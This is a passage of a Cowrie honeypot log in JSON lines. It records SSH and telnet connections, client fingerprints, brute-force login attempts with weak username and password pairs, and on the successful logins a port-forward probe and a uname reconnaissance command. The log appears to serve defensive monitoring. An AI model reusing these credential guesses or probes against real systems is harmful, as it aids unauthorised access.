{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:00.945282Z","src_ip":"200.118.150.20","session":"b0607bd70a30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:01.029912Z","src_ip":"200.118.150.20","session":"b0607bd70a30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"Pa$$w0rd","message":"login attempt [testuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:01.415868Z","src_ip":"200.118.150.20","session":"b0607bd70a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:02.509413Z","src_ip":"200.118.150.20","session":"b0607bd70a30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00251770019531,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:03.375158Z","src_ip":"188.132.249.246","session":"121af8db873e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00294637680054,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:20.870305Z","src_ip":"223.177.32.194","session":"d731d322db9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":35212,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9974b359d2e","protocol":"telnet","message":"New connection: 223.177.32.194:35212 (159.203.135.109:23) [session: d9974b359d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:21.800222Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.188.71.178","src_port":48925,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c6a4673e9b","protocol":"telnet","message":"New connection: 220.188.71.178:48925 (159.203.135.109:23) [session: 00c6a4673e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:25.750793Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":35680,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7400f4cc2db","protocol":"telnet","message":"New connection: 223.177.32.194:35680 (159.203.135.109:23) [session: f7400f4cc2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:27.416406Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":39994,"dst_ip":"10.17.0.5","dst_port":22,"session":"30d533e5d478","protocol":"ssh","message":"New connection: 92.205.57.72:39994 (10.17.0.5:22) [session: 30d533e5d478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:34.573526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:34.578170Z","src_ip":"92.205.57.72","session":"30d533e5d478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:34.670918Z","src_ip":"92.205.57.72","session":"30d533e5d478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"444444444","message":"login attempt [ubuntu/444444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:35.069900Z","src_ip":"92.205.57.72","session":"30d533e5d478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:36.167273Z","src_ip":"92.205.57.72","session":"30d533e5d478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.702504396438599,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:38.453164Z","src_ip":"220.188.71.178","session":"00c6a4673e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53378,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc02ad493b11","protocol":"ssh","message":"New connection: 193.32.162.145:53378 (10.17.0.5:22) [session: bc02ad493b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:50.798073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:50.805357Z","src_ip":"193.32.162.145","session":"bc02ad493b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:50.908449Z","src_ip":"193.32.162.145","session":"bc02ad493b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ssolana","message":"login attempt [sol/ssolana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:51.310986Z","src_ip":"193.32.162.145","session":"bc02ad493b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:24:52.425834Z","src_ip":"193.32.162.145","session":"bc02ad493b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.182.66","src_port":36138,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a59208eadc","protocol":"telnet","message":"New connection: 92.118.182.66:36138 (10.17.0.5:23) [session: e0a59208eadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:25:23.737191Z"}
{"eventid":"cowrie.session.closed","duration":11.919066190719604,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:25:35.656185Z","src_ip":"92.118.182.66","session":"e0a59208eadc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01750540733337,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:21.817305Z","src_ip":"223.177.32.194","session":"d9974b359d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48410,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b326e5fd3cd","protocol":"ssh","message":"New connection: 87.251.64.176:48410 (10.17.0.5:22) [session: 6b326e5fd3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.395250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.399830Z","src_ip":"87.251.64.176","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.500948Z","src_ip":"87.251.64.176","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.799874Z","src_ip":"87.251.64.176","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.899329Z","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:25.998115Z","src_ip":"87.251.64.176","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:26.229675Z","src_ip":"87.251.64.176","session":"6b326e5fd3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00238633155823,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:27.418640Z","src_ip":"223.177.32.194","session":"f7400f4cc2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":41822,"dst_ip":"159.203.135.109","dst_port":23,"session":"e76797142028","protocol":"telnet","message":"New connection: 223.177.32.194:41822 (159.203.135.109:23) [session: e76797142028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:26:28.413088Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43878,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1cec9ddf953","protocol":"ssh","message":"New connection: 193.32.162.145:43878 (10.17.0.5:22) [session: f1cec9ddf953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:00.501006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:00.520254Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:00.606230Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"sol","password":"solana","message":"login attempt [sol/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:01.037070Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:01.386955Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:01.390300Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:01.501559Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:01.506334Z","src_ip":"193.32.162.145","session":"f1cec9ddf953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":60600,"dst_ip":"10.17.0.5","dst_port":22,"session":"91fdbb838aaf","protocol":"ssh","message":"New connection: 92.205.57.72:60600 (10.17.0.5:22) [session: 91fdbb838aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:15.334033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:15.338354Z","src_ip":"92.205.57.72","session":"91fdbb838aaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:15.427056Z","src_ip":"92.205.57.72","session":"91fdbb838aaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"!QAZ1qaz","message":"login attempt [ftpuser/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:15.816255Z","src_ip":"92.205.57.72","session":"91fdbb838aaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:16.908822Z","src_ip":"92.205.57.72","session":"91fdbb838aaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":34504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87747f42130","protocol":"ssh","message":"New connection: 200.187.71.114:34504 (10.17.0.5:22) [session: e87747f42130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:19.945475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:20.750718Z","src_ip":"200.187.71.114","session":"e87747f42130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rs